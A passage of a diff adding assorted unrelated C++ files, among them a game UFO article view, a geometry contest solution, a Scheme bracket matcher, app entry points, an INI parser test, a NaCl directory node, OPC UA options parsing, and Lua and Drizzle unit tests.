111; + graphic->getCrop()->h = 29; + graphic->blit(_image); */ + +/* if (ufo->getSpriteString().empty()) + { + graphic->getCrop()->y = 140 + 52 * static_cast(ufo->getSprite()); + graphic->getCrop()->h = 52; + } + else + { + graphic = _game->getResourcePack()->getSurface(ufo->getSpriteString()); + graphic->setX(0); + graphic->setY(0); + } + graphic->blit(_image); */ + + const RuleUfo* const ufo (_game->getRuleset()->getUfo(defs->id)); + const int sprite (ufo->getSprite()); + std::ostringstream oststr; + oststr << "INTERWIN_" << sprite; + Surface* const srfPreview (_game->getResourcePack()->getSurface(oststr.str())); + if (srfPreview != nullptr) + srfPreview->blit(_image); + + _txtInfo = new Text(300, 50, 10, 140); + add(_txtInfo); + _txtInfo->setText(tr(defs->text)); + _txtInfo->setColor(GEOSCAPE_CYAN); + _txtInfo->setWordWrap(); + + _lstInfo = new TextList(300, 65,10,68); + add(_lstInfo); + + centerSurfaces(); + + + _lstInfo->setColor(GEOSCAPE_CYAN); + _lstInfo->setColumns(2, 200, 100); + _lstInfo->setBig(); + _lstInfo->setDot(); + + _lstInfo->addRow( + 2, + tr("STR_DAMAGE_CAPACITY").c_str(), + Text::intWide(ufo->getUfoHullCap()).c_str()); + _lstInfo->addRow( + 2, + tr("STR_WEAPON_POWER").c_str(), + Text::intWide(ufo->getWeaponPower()).c_str()); + _lstInfo->addRow( + 2, + tr("STR_WEAPON_RANGE").c_str(), + tr("STR_KILOMETERS").arg(ufo->getWeaponRange()).c_str()); + _lstInfo->addRow( + 2, + tr("STR_MAXIMUM_SPEED").c_str(), + tr("STR_KNOTS").arg(ufo->getTopSpeed()).c_str()); +} + +/** + * dTor. + */ +ArticleStateUfo::~ArticleStateUfo() // virtual. +{} + +} diff --git a/pool/shard011/C++/0118446_Boris_You_Are_Wrong_.cpp b/pool/shard011/C++/0118446_Boris_You_Are_Wrong_.cpp new file mode 100644 index 0000000000000000000000000000000000000000..e48cb5fa843c4a050c3a448599869ee48ac07e39 --- /dev/null +++ b/pool/shard011/C++/0118446_Boris_You_Are_Wrong_.cpp @@ -0,0 +1,73 @@ +#include +#include +const double pi=acos(-1.0); +struct point +{ + double x,y; +}A1,B1,C1,A2,B2,C2; +bool ans; +void print() +{ + if (!ans)printf("YES\n"); + else + { + printf("NO\n"); + printf("%.10lf %.10lf\n",A2.x,A2.y); + printf("%.10lf %.10lf\n",B2.x,B2.y); + printf("%.10lf %.10lf\n",C2.x,C2.y); + } +} +inline double sqr(double X) +{ + return X*X; +} +inline double dotdet(double X1,double Y1,double X2,double Y2) +{ + return X1*X2+Y1*Y2; +} +inline double dis(double X1,double Y1,double X2,double Y2) +{ + return sqrt(sqr(X1-X2)+sqr(Y1-Y2)); +} +void solve() +{ + ans=false; + double AB,BC,AC,cosalpha,sinalpha,delta,a,b,c,x1,x2,AC_,tmp; + AB=dis(A1.x,A1.y,B1.x,B1.y); + AC=dis(A1.x,A1.y,C1.x,C1.y); + BC=dis(B1.x,B1.y,C1.x,C1.y); + tmp=dotdet(B1.x-A1.x,B1.y-A1.y,C1.x-A1.x,C1.y-A1.y); + cosalpha=tmp; + cosalpha/=AB; + cosalpha/=AC; + sinalpha=sqrt(1-sqr(cosalpha)); + + b=-2*tmp/AC; + c=sqr(AB)-sqr(BC); + delta=sqr(b)-4*c; + if (delta>0) + { + x1=(-b+sqrt(delta))/2; + x2=(-b-sqrt(delta))/2; + if (x1>0&&x2>0) + { + if (fabs(x1-AC)<1e-6)AC_=x2; + else AC_=x1; + A2.x=0;A2.y=0; + B2.x=AB;B2.y=0; + C2.x=cosalpha*AC_;C2.y=sinalpha*AC_; + ans=true; + } + } +} +void init() +{ + scanf("%lf%lf%lf%lf%lf%lf",&A1.x,&A1.y,&B1.x,&B1.y,&C1.x,&C1.y); +} +int main() +{ + init(); + solve(); + print(); + return 0; +} diff --git a/pool/shard011/C++/0118447_bracketmatcher.cpp b/pool/shard011/C++/0118447_bracketmatcher.cpp new file mode 100644 index 0000000000000000000000000000000000000000..a7a5eb91f09916cc42d6068d819eb0058a2de50b --- /dev/null +++ b/pool/shard011/C++/0118447_bracketmatcher.cpp @@ -0,0 +1,142 @@ +/* + * Subs Scheme Interpreter + * Copyright (C) 2010, 2011 Andy Balaam + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +**/ + +#include + +#include "lib/bracketmatcher.h" +#include "lib/lexer.h" +#include "lib/tokenlist.h" + +BracketMatcher::BracketMatcher( Lexer& lexer, std::ostream& out, + bool print_continuation ) +: lexer_( lexer ) +, newline_processor_( out ) +, print_continuation_( print_continuation ) +{ + if( print_continuation ) + { + lexer_.SetNewLineProcessor( &newline_processor_ ); + } +} + +BracketMatcher::~BracketMatcher() +{ + lexer_.SetNewLineProcessor( NULL ); +} + +TokenList BracketMatcher::ReadCombination() +{ + // TODO: split into smaller functions + + enum EMode + { + eOther + , eOperator + , eFirstOperand + }; + + TokenList ret; + unsigned int bracket_level = 0; + EMode mode = eOther; + + while( true ) + { + Token token = lexer_.NextToken(); + + // If the stream ended before a combo was closed, return an empty + // list - the user pressed Ctrl-D and doesn't want any output. + if( token.IsEndOfStream() ) + { + return TokenList(); + } + + token.AddToColumn( newline_processor_.GetIndent() ); + + // If we have got to the first operand of a combination + // store the indent level so that we can indent correctly + // in the repl when the user presses return. + switch( mode ) + { + case eOperator: + { + mode = eFirstOperand; + break; + } + case eFirstOperand: + { + newline_processor_.PushIndent( bracket_level, token.Column() ); + mode = eOther; + break; + } + default: + { + break; + } + } + + ret.AddToken( token ); + + // If we've finished this combination, return now + if( token.Name() == ")" && bracket_level == 1 ) + { + break; + } + + // Otherwise, adjust our bracket level if there is a ( or ) + if( token.Name() == "(" ) + { + ++bracket_level; + mode = eOperator; // The next token will be the operator + } + else if( token.Name() == ")" ) + { + newline_processor_.PopIndent( bracket_level ); + --bracket_level; + mode = eOther; + } + + // If we got a bare symbol (no brackets) we exit here + // (except that we skip straight past quotes) + if( bracket_level == 0 && token.Name() != "'" ) + { + break; + } + + // If the lexer's token ended with newline, it couldn't call + // newline (because we hadn't processed the token yet). We + // have now processed it, so we can call NewLine now. + if( print_continuation_ && lexer_.EndedWithNewLine() ) + { + newline_processor_.NewLine(); + } + } + + // When the combination (or bare symbol) is finished, we don't + // need to track indentation any more, so reset the newline processor, + // and we don't care about any newlines before the next token, so + // we skip whitespace in the lexer. + newline_processor_.Reset(); + + return ret; +} + +bool BracketMatcher::eof() const +{ + return lexer_.eof(); +} diff --git a/pool/shard011/C++/0118448_main.cpp b/pool/shard011/C++/0118448_main.cpp new file mode 100644 index 0000000000000000000000000000000000000000..56542d83f3061c0e221be437868738cfeec5bf44 --- /dev/null +++ b/pool/shard011/C++/0118448_main.cpp @@ -0,0 +1,28 @@ +#include +#include "core.h" + +int main(int argc, char *argv[]) +{ + QCoreApplication application(argc, argv); + QCoreApplication::setApplicationName("bluetoothLeScanner"); + QCoreApplication::setApplicationVersion("0.0.1"); + + QCommandLineParser *parser = new QCommandLineParser(); + parser->setApplicationDescription("Tool to inspect a bluetooth low energy device."); + parser->addHelpOption(); + parser->addVersionOption(); + + QCommandLineOption hostDeviceOption(QStringList() << "host", "The name of the Bluetooth host device to use. By default it will use the first host device found.", "hostname"); + parser->addOption(hostDeviceOption); + + QCommandLineOption discoverDevicesOption(QStringList() << "d" << "discover", "Search bluetooth devices."); + parser->addOption(discoverDevicesOption); + + + + parser->process(application); + + Core core(parser); + + return application.exec(); +} diff --git a/pool/shard011/C++/0118449_main.cpp b/pool/shard011/C++/0118449_main.cpp new file mode 100644 index 0000000000000000000000000000000000000000..60e3daec8c6522add2c73dd87fb4bd2d8bc8eb1a --- /dev/null +++ b/pool/shard011/C++/0118449_main.cpp @@ -0,0 +1,135 @@ +/*! + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * + * Author: Sapronov Alexander/WarmongeR + * E-Mail: sapronov.alexander92@.gmail.com + * Years: 2011, 2012 + * WebSite: https://github.com/WarmongeR1/bQella + */ + + +#include "mainwindow.h" +#include "config.h" +#include "pcommon.h" +#include "filecommon.h" + +#include + + +int main( int argc, char ** argv ) +{ +// Q_INIT_RESOURCE(ra); //Initialize the resources specified by the .qrc file + +// QString aDocPath; + bool hideSidebar = false; + bool withGUI = true; + QApplication a(argc, argv, withGUI); + a.setOrganizationName(GL_PROG_AUTHOR); + a.setApplicationName(GL_PROG_NAME); + + Config *conf = new Config(); + conf -> setAppDir(QDir::currentPath() + "/"); + conf -> setCacheDir(conf -> AppDir() + "cache/"); + conf -> setImgDir(conf -> AppDir() + "images/"); + conf -> setPrjDir(conf -> AppDir() + "projects/"); + conf -> setIniFile(conf -> AppDir() + "project.ini"); + conf -> setErrPage(conf -> AppDir() + "last-error.html"); + conf -> setAppLogFN(conf -> AppDir() + "log/project.log"); + toLog(conf -> AppLogFN(), "-------"); + toLog(conf -> AppLogFN(), "Project bQella started."); + conf -> loadSettings(); + conf -> loadProject(conf -> CurProject()); + + if (!conf) + { + fprintf( stderr, "Profile '%s' does not exist!\n", conf -> CurProject().toUtf8().constData() ); + fflush( stderr ); + return -1; + } + //!+! load language based on locale on first startup or if it was not set directly + + toLog(conf -> AppLogFN(), "Load: Language"); + QTranslator translator; + if (conf -> Lang() == "Russian" or conf->Lang().isEmpty()) translator.load("bqella_ru",":lang/lang"); + if (conf -> Lang() == "Deutch") translator.load("bqella_de",":lang/lang"); + if (conf -> Lang() == "France") translator.load("bqella_fr",":lang/lang"); + a.installTranslator(&translator); + toLog(conf -> AppLogFN(), "Load: Language - done"); + conf -> hideSideBar( hideSidebar ); +//qDebug() << "[10]"; + QPointer mw = new MainWindow(); + +//qDebug() << "[11]"; + FontSettings settings = conf -> fontSettings(); + if (mw -> font() != settings.windowFont) + a.setFont(settings.windowFont, "QWidget"); + toLog(conf -> AppLogFN(), "Done with setup. Show main window."); + mw -> show(); + + +//qDebug() << "[12]"; + QStringList links = conf -> source(); + + toLog(conf -> AppLogFN(), "Load: Files"); + if (links.isEmpty()) + { + //!+! or option "Remember opened files" is not set + mw -> showLink( urlifyFileName(conf -> CurFile()) ); + } + else + { +// qDebug() << "[13]"; + mw -> showLinks( links ); + } + a.connect( &a, SIGNAL(lastWindowClosed()), &a, SLOT(quit()) ); + + int appExec = a.exec(); + delete (MainWindow*)mw; + toLog(conf -> AppLogFN(),QString("%1 shuts down normally.").arg(GL_PROG_NAME)); + return appExec; +} + +/********************* Comments to project ********************* + +--------------------- Files description --------------------- + +/** + * @file + * + * + * config - configuration of the application, global functions and variables + * docuparser - parse profile file + * helpdialog - slidebar functions: content, index, bookmarks, search + * helpwindow - working area functions: text edit, font, file + * index - procedures to build up index in index tab on helpdialog slidebar + * mainwindow - main menu functions + * profile - configuration of a project + * msc - general purpose procedures with no class relations + * + * + * ------- Forms aviable from (classes interaction) ------- + * + * HelpDialog Ui::HelpDialog ui; MainWindow *mw; + * HelpWindow MainWindow *mw; ItemProperties *itemprop; + * MainWindow Ui::MainWindow ui; TabbedBrowser *tabs;[private] HelpDialog *helpDock;[private] + * TabbedBrowser *browsers(); HelpDialog *helpDialog(); + * TabbedBrowser Ui::TabbedBrowser ui; MainWindow *mainWindow(); HelpWindow *currentBrowser(); + * + * To access from HelpDialog to HelpWindow functions use: + * mw -> browsers() -> currentBrowser() -> ... + * + */ + diff --git a/pool/shard011/C++/0118450_main.cpp b/pool/shard011/C++/0118450_main.cpp new file mode 100644 index 0000000000000000000000000000000000000000..e38065ea6f2df97e19073169eeb1c6b2f5d9fb38 --- /dev/null +++ b/pool/shard011/C++/0118450_main.cpp @@ -0,0 +1,222 @@ + + + +#include "ini_parser.hpp" + +#include +#include +#include +#include + +#include +#include +#include + + + + +bool test_ini(int id, const std::string& locale, const std::wstring& multibyte_example, bool linux_like_line_ending, bool error1, bool error2, bool error3, bool error4) +{ + + std::wstring cendl = linux_like_line_ending ? L"\n" : L"\r\n"; + + + + /* + + ;comment + [section1] + ;comment + + key1=value1 + key2=multibyte_example + ;comment + + [section2] + key1=value3 + key2=key2+multibyte_example + ;comment+multibyte_example + + */ + + std::wstring file_name = std::wstring(L"ini_test") + std::to_wstring(id) + std::wstring(L".ini"); + { + std::wstringstream out; + + out << cendl; + out << L";comment1" << cendl; + if(error1) + out << L"key1=" << multibyte_example << cendl; + out << L"[section1" << (error2 ? L"" : L"]") << cendl; + out << L";comment2" << cendl; + out << cendl; + out << L"key1=value1" << cendl; + out << L"key2 " << (error4 ? L"" : L"=") << multibyte_example << cendl; + out << cendl; + out << L";comment3" << cendl; + out << L"[section2]" << (error3 ? L"w" : L"") << cendl; + out << L"key1=value3" << cendl; + out << L"key2=key2" << multibyte_example << cendl; + out << L";comment4" << multibyte_example << cendl; + out << cendl; + + std::string str; + if (locale == "UTF-16") + { + std::fstream file(file_name, std::fstream::out | std::fstream::trunc | std::fstream::binary); + file.write((char*)out.str().c_str(), out.str().length()*sizeof(out.str()[0])); + } + else + { + str = boost::locale::conv::from_utf(out.str(), locale); + if (locale == "UTF-8") + { + char bom[] = { (char)0xEF, (char)0xBB, (char)0xBF, 0 }; + str = std::string(bom) + str; + } + std::fstream file(file_name, std::wfstream::out | std::wfstream::trunc); + file << str; + } + } + + + bool is_parse_expection=false; + bool is_parse_correct=true; + + try + { + ema::config::IniParser parser(file_name); + + is_parse_correct&=parser.getString(L"section1", L"key1")==L"value1"; + is_parse_correct&=parser.getString(L"section1", L"key2")==multibyte_example; + is_parse_correct&=parser.getString(L"section2", L"key1")==L"value3"; + is_parse_correct&=parser.getString(L"section2", L"key2")==std::wstring(L"key2")+multibyte_example; + is_parse_correct&=parser.getString(L"section2", L"key3", L"value5")==L"value5"; + } + catch (const std::exception&) + { + is_parse_expection=true; + } + + bool result=false; + if(is_parse_expection) + { + result = error1 || error2 || error3 || error4; + }else + { + result = !(error1 || error2 || error3 || error4) && is_parse_correct; + } + + return result; +} + + + + +struct TestConfig +{ + std::string locale; + std::wstring multibyte_example; + bool linux_like_line_ending; + bool key_without_section; + bool section_name_incorrect; + bool text_in_section_line; + bool key_format_invalid; +}; + +int run_test(int id, const TestConfig& config) +{ + if (test_ini(id, config.locale, config.multibyte_example, config.linux_like_line_ending, config.key_without_section, config.section_name_incorrect, config.text_in_section_line, config.key_format_invalid)) + { + std::cout << "test " << id << " passed" << std::endl; + return 0; + } + else + { + std::cout << "test " << id << " failed" << std::endl; + return -id; + } +} + + +#include + +int main(int, char**) +{ + int result = 0; + /* + english + english unicode + + russian(current system locale) + russian utf-8 + russian utf-16 + japan utf-8 + japan utf-16 + + bool linux like line ending + + error1 - key bofore section + error2 - wrong section name(without close bracket) + error3 - wrong section name(other text in section line) + error4 - wrong key(without =) +*/ + + UINT langid = GetACP(); + CPINFOEX info; + //GetCPInfo(langid, &info); + + GetCPInfoEx(CP_ACP, 0, &info); + + std::string current("cp1251"); + std::string current_utf8("UTF-8"); + std::string current_utf16("UTF-16"); + std::string jap_utf8("UTF-8"); + std::string jap_utf16("UTF-16"); + + + +/* + + std::locale current(gen("")); + std::locale current_utf8(gen("rus_RUS.utf-8")); + std::locale current_utf16(gen("ru_RU.UTF16")); + std::locale jap_utf8(gen("ja_JP.UTF8")); + std::locale jap_utf16(gen("ja_JP.UTF16")); + + std::cout << "current" << current.c_str() << std::endl; + std::cout << "current_utf8" << current_utf8.c_str() << std::endl; + std::cout << "current_utf16" << current_utf16.c_str() << std::endl; + std::cout << "jap_utf8" << jap_utf8.c_str() << std::endl; + std::cout << "jap_utf16" << jap_utf16.c_str() << std::endl; +*/ + + + TestConfig testConfigs[]={ + {current, L"test1", false, false, false, false, false}, + {current_utf8, L"test2", false, false, false, false, false}, + {current_utf16, L"test3", false, false, false, false, false}, + {current, L"тест4", false, false, false, false, false}, + {current_utf8, L"тест5", false, false, false, false, false}, + {current_utf16, L"тест6", false, false, false, false, false}, + {jap_utf8, L"試験7", false, false, false, false, false}, + {jap_utf16, L"試験8", false, false, false, false, false}, + {current_utf8, L"тест9", true, false, false, false, false}, + {current_utf8, L"тест10", false, true, false, false, false}, + {current_utf8, L"тест11", false, false, true, false, false}, + {current_utf8, L"тест12", false, false, false, true, false}, + {current_utf8, L"тест13", false, false, false, false, true}, + {current_utf16, L"тест14", true, false, false, false, false}, + {current_utf16, L"тест15", false, true, false, false, false}, + {current_utf16, L"тест16", false, false, true, false, false}, + {current_utf16, L"тест17", false, false, false, true, false}, + {current_utf16, L"тест18", false, false, false, false, true} + }; + + for(size_t i=0; i < boost::size(testConfigs); ++i) + result|=run_test((int)i, testConfigs[i]); + + return result; +} + + diff --git a/pool/shard011/C++/0118451_mount_node_dir.cc b/pool/shard011/C++/0118451_mount_node_dir.cc new file mode 100644 index 0000000000000000000000000000000000000000..437d75e8389e5ff00ae15a1629e5ae79d0034cc7 --- /dev/null +++ b/pool/shard011/C++/0118451_mount_node_dir.cc @@ -0,0 +1,149 @@ +// Copyright (c) 2012 The Chromium Authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#include "nacl_io/mount_node_dir.h" + +#include +#include + +#include "nacl_io/osdirent.h" +#include "nacl_io/osstat.h" +#include "sdk_util/auto_lock.h" +#include "sdk_util/macros.h" + +namespace nacl_io { + +MountNodeDir::MountNodeDir(Mount* mount) : MountNode(mount), cache_(NULL) { + stat_.st_mode |= S_IFDIR; +} + +MountNodeDir::~MountNodeDir() { + for (MountNodeMap_t::iterator it = map_.begin(); it != map_.end(); ++it) { + it->second->Unlink(); + } + free(cache_); +} + +Error MountNodeDir::Read(size_t offs, void* buf, size_t count, int* out_bytes) { + *out_bytes = 0; + return EISDIR; +} + +Error MountNodeDir::FTruncate(off_t size) { return EISDIR; } + +Error MountNodeDir::Write(size_t offs, + const void* buf, + size_t count, + int* out_bytes) { + *out_bytes = 0; + return EISDIR; +} + +Error MountNodeDir::GetDents(size_t offs, + struct dirent* pdir, + size_t size, + int* out_bytes) { + *out_bytes = 0; + + AUTO_LOCK(node_lock_); + + // If the buffer pointer is invalid, fail + if (NULL == pdir) + return EINVAL; + + // If the buffer is too small, fail + if (size < sizeof(struct dirent)) + return EINVAL; + + // Force size to a multiple of dirent + size -= size % sizeof(struct dirent); + size_t max = map_.size() * sizeof(struct dirent); + if (cache_ == NULL) + BuildCache(); + + if (offs >= max) { + // OK, trying to read past the end. + return 0; + } + + if (offs + size >= max) + size = max - offs; + + memcpy(pdir, ((char*)cache_) + offs, size); + *out_bytes = size; + return 0; +} + +Error MountNodeDir::AddChild(const std::string& name, + const ScopedMountNode& node) { + AUTO_LOCK(node_lock_); + + if (name.empty()) + return ENOENT; + + if (name.length() >= MEMBER_SIZE(struct dirent, d_name)) + return ENAMETOOLONG; + + MountNodeMap_t::iterator it = map_.find(name); + if (it != map_.end()) + return EEXIST; + + node->Link(); + map_[name] = node; + ClearCache(); + return 0; +} + +Error MountNodeDir::RemoveChild(const std::string& name) { + AUTO_LOCK(node_lock_); + MountNodeMap_t::iterator it = map_.find(name); + if (it != map_.end()) { + it->second->Unlink(); + map_.erase(it); + ClearCache(); + return 0; + } + return ENOENT; +} + +Error MountNodeDir::FindChild(const std::string& name, + ScopedMountNode* out_node) { + out_node->reset(NULL); + + AUTO_LOCK(node_lock_); + MountNodeMap_t::iterator it = map_.find(name); + if (it == map_.end()) + return ENOENT; + + *out_node = it->second; + return 0; +} + +int MountNodeDir::ChildCount() { + AUTO_LOCK(node_lock_); + return map_.size(); +} + +void MountNodeDir::ClearCache() { + free(cache_); + cache_ = NULL; +} + +void MountNodeDir::BuildCache() { + if (map_.size()) { + cache_ = (struct dirent*)malloc(sizeof(struct dirent) * map_.size()); + MountNodeMap_t::iterator it = map_.begin(); + for (size_t index = 0; it != map_.end(); it++, index++) { + size_t len = it->first.length(); + cache_[index].d_ino = it->second->stat_.st_ino; + cache_[index].d_off = sizeof(struct dirent); + cache_[index].d_reclen = sizeof(struct dirent); + cache_[index].d_name[len] = 0; + strncpy(cache_[index].d_name, &it->first[0], len); + } + } +} + +} // namespace nacl_io + diff --git a/pool/shard011/C++/0118453_server_options.cpp b/pool/shard011/C++/0118453_server_options.cpp new file mode 100644 index 0000000000000000000000000000000000000000..a9b19fd429072e89a6ede2723637f2b985fa4676 --- /dev/null +++ b/pool/shard011/C++/0118453_server_options.cpp @@ -0,0 +1,102 @@ +/// @author Alexander Rykovanov 2013 +/// @email rykovanov.as@gmail.com +/// @brief OpcUa client command line options parser. +/// @license GNU LGPL +/// +/// Distributed under the GNU LGPL License +/// (See accompanying file LICENSE or copy at +/// http://www.gnu.org/licenses/lgpl.html) +/// + +#include "server_options.h" + +#include +#include +#include +#include +#include +#include + + +#ifndef CONFIG_PATH +#define CONFIG_PATH "/etc/opcua/server" +#endif + +namespace +{ +namespace po = boost::program_options; +using namespace OpcUa; + +const char * DefaultLogFilePath = "/var/log/opcua/server.log"; + +const char * OPTION_HELP = "help"; +const char * OPTION_CONFIG = "config-dir"; +const char * OPTION_DAEMON = "daemon"; +const char * OPTION_LOGFILE = "log-file"; + +std::string GetConfigOptionValue(const po::variables_map & vm) +{ + if (vm.count(OPTION_CONFIG)) + { + return vm[OPTION_CONFIG].as(); + } + + return CONFIG_PATH; +} + + +bool GetDaemonMode(const po::variables_map & vm) +{ + return vm.count(OPTION_DAEMON) != 0; +} + +std::string GetLogFile(const po::variables_map & vm) +{ + if (vm.count(OPTION_LOGFILE)) + { + return vm[OPTION_LOGFILE].as(); + } + + return DefaultLogFilePath; +} + +} + + +namespace OpcUa +{ +namespace Server +{ + +CommandLine::CommandLine(int argc, const char ** argv) + : StartPossible(true) + , IsDaemon(false) +{ + // Declare the supported options. + po::options_description desc("Parameters"); + desc.add_options() + (OPTION_HELP, "Print help message and exit.") + (OPTION_CONFIG, po::value(), (std::string("Path to directory with configuration files. Default: ") + CONFIG_PATH).c_str()) + (OPTION_LOGFILE, po::value(), "Set path to the log file. Default 'var/log/opcua/server.log") + (OPTION_DAEMON, "Start in daemon mode.") + ; + + po::variables_map vm; + po::store(po::parse_command_line(argc, argv, desc), vm); + po::notify(vm); + + if (vm.count(OPTION_HELP)) + { + desc.print(std::cout); + StartPossible = false; + return; + } + + IsDaemon = GetDaemonMode(vm); + ConfigDir = GetConfigOptionValue(vm); + LogFile = ::GetLogFile(vm); +} + +} // namespace UaServer +} // namespace OpcUa + diff --git a/pool/shard011/C++/0118454_Table.cpp b/pool/shard011/C++/0118454_Table.cpp new file mode 100644 index 0000000000000000000000000000000000000000..ec3976b90bc6a6f913f3b9a417108c3c81147928 --- /dev/null +++ b/pool/shard011/C++/0118454_Table.cpp @@ -0,0 +1,160 @@ + +#include "TestUtil.hpp" + +#include "LuaCpp/LuaTable.hpp" + +using namespace luacpp; + +class LuaTableTest : public LuaStateTest +{ +}; + + +TEST_F(LuaTableTest, AddValue) +{ + ScopedLuaStackTest stackTest(L); + + auto top = lua_gettop(L); + LuaTable table = LuaTable::create(L); + table.addValue("key", "value"); + + ASSERT_TRUE(table.pushValue()); + + lua_getfield(L, -1, "key"); + + ASSERT_TRUE(lua_isstring(L, -1) == 1); + ASSERT_STREQ("value", lua_tostring(L, -1)); + + lua_pop(L, 2); // Pop value and table +} + +TEST_F(LuaTableTest, SetReference) +{ + ScopedLuaStackTest stackTest(L); + + LuaTable table = LuaTable::create(L); + + lua_pushliteral(L, "abc"); + ASSERT_THROW(table.setReference(LuaReference::create(L)), LuaException); + + lua_pop(L, 1); + + lua_newtable(L); + ASSERT_NO_THROW(table.setReference(LuaReference::create(L))); + + lua_pop(L, 1); +} + +TEST_F(LuaTableTest, GetValue) +{ + ScopedLuaStackTest stackTest(L); + + lua_newtable(L); + lua_pushstring(L, "value"); + lua_setfield(L, -2, "key"); + + LuaTable table; + + EXPECT_TRUE(convert::popValue(L, table)); + + std::string val; + ASSERT_TRUE(table.getValue("key", val)); + ASSERT_STREQ("value", val.c_str()); +} + +TEST_F(LuaTableTest, GetLength) +{ + ScopedLuaStackTest stackTest(L); + + lua_newtable(L); + + lua_pushnumber(L, 1); + lua_pushstring(L, "value1"); + lua_settable(L, -3); + + lua_pushnumber(L, 2); + lua_pushstring(L, "value2"); + lua_settable(L, -3); + + lua_pushnumber(L, 3); + lua_pushstring(L, "value3"); + lua_settable(L, -3); + + LuaTable table; + + EXPECT_TRUE(convert::popValue(L, table)); + + ASSERT_EQ(3, table.getLength()); +} + +TEST_F(LuaTableTest, Iterator) +{ + ScopedLuaStackTest stackTest(L); + + lua_newtable(L); + + lua_pushnumber(L, 1); + lua_pushstring(L, "value1"); + lua_settable(L, -3); + + lua_pushnumber(L, 2); + lua_pushstring(L, "value2"); + lua_settable(L, -3); + + lua_pushnumber(L, 3); + lua_pushstring(L, "value3"); + lua_settable(L, -3); + + lua_pushstring(L, "value4"); + lua_setfield(L, -2, "key"); + + LuaTable table; + + EXPECT_TRUE(convert::popValue(L, table)); + + auto iter = table.iterator(); + + int i = 0; + while (iter.toNext()) + { + switch (i) + { + case 0: + { + ASSERT_STREQ("value1", lua_tostring(L, -1)); + lua_pop(L, 1); + + ASSERT_DOUBLE_EQ(1.0, lua_tonumber(L, -1)); + break; + } + case 1: + { + ASSERT_STREQ("value2", lua_tostring(L, -1)); + lua_pop(L, 1); + + ASSERT_DOUBLE_EQ(2.0, lua_tonumber(L, -1)); + break; + } + case 2: + { + ASSERT_STREQ("value3", lua_tostring(L, -1)); + lua_pop(L, 1); + + ASSERT_DOUBLE_EQ(3.0, lua_tonumber(L, -1)); + break; + } + case 3: + { + ASSERT_STREQ("value4", lua_tostring(L, -1)); + lua_pop(L, 1); + + ASSERT_STREQ("key", lua_tostring(L, -1)); + break; + } + default: + FAIL(); + break; + } + ++i; + } +} diff --git a/pool/shard011/C++/0118456_temporal_format_test.cc b/pool/shard011/C++/0118456_temporal_format_test.cc new file mode 100644 index 0000000000000000000000000000000000000000..363c5e05209e4f3dedd5d06c6c337fd03ee1a5fb --- /dev/null +++ b/pool/shard011/C++/0118456_temporal_format_test.cc @@ -0,0 +1,157 @@ +/* -*- mode: c; c-basic-offset: 2; indent-tabs-mode: nil; -*- + * vim:expandtab:shiftwidth=2:tabstop=2:smarttab: + * + * Copyright (C) 2010 Pawel Blokus + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include + +#include +#include + +#define BOOST_TEST_DYN_LINK +#include + +#include + +#include "temporal_generator.h" + +using namespace drizzled; + +class TemporalFormatTest +{ + protected: + TemporalFormat *tf; + Temporal *temporal; + bool result; + + TemporalFormatTest() + { + tf= NULL; + temporal= NULL; + } + + ~TemporalFormatTest() + { + if (tf != NULL) + delete tf; + if (temporal != NULL) + delete temporal; + } +}; + +BOOST_FIXTURE_TEST_SUITE(TemporalFormatTestSuite, TemporalFormatTest) +BOOST_AUTO_TEST_CASE(constructor_WithValidRegExp_shouldCompile) +{ + tf= new TemporalFormat("^(\\d{4})[-/.]$"); + + result= tf->is_valid(); + + BOOST_REQUIRE(result); +} + +BOOST_AUTO_TEST_CASE(constructor_WithInvalidRegExp_shouldNotCompile) +{ + tf= new TemporalFormat("^\\d{4)[-/.]$"); + + result= tf->is_valid(); + + BOOST_REQUIRE(not result); +} + +BOOST_AUTO_TEST_CASE(matches_OnNotMatchingString_shouldReturn_False) +{ + tf= new TemporalFormat("^(\\d{4})[-/.]$"); + char matched[] ="1234/ABC"; + + result= tf->matches(matched, sizeof(matched) - sizeof(char), NULL); + + BOOST_REQUIRE(not result); +} + +BOOST_AUTO_TEST_CASE(matches_OnMatchingString_FormatWithIndexesSet_shouldPopulateTemporal) +{ + char regexp[]= "^(\\d{4})[-/.](\\d{1,2})[-/.](\\d{1,2})[T|\\s+](\\d{2}):(\\d{2}):(\\d{2})$"; + char matched[]= "1999/9/14T23:29:05"; + tf= TemporalGenerator::TemporalFormatGen::make_temporal_format(regexp, 1, 2, 3, 4, 5, 6, 0, 0); + temporal= new DateTime(); + + + result= tf->matches(matched, sizeof(matched) - sizeof(char), temporal); + BOOST_REQUIRE(result); + + BOOST_REQUIRE_EQUAL(1999, temporal->years()); + BOOST_REQUIRE_EQUAL(9, temporal->months()); + BOOST_REQUIRE_EQUAL(14, temporal->days()); + BOOST_REQUIRE_EQUAL(23, temporal->hours()); + BOOST_REQUIRE_EQUAL(29, temporal->minutes()); + BOOST_REQUIRE_EQUAL(5, temporal->seconds()); +} + 